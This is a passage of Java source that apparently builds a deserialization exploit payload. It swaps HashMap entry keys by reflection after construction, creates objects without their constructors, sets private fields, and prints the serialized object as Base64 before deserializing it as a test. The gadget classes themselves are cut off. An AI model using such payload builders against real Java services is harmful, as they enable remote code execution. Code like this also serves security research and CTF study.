Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}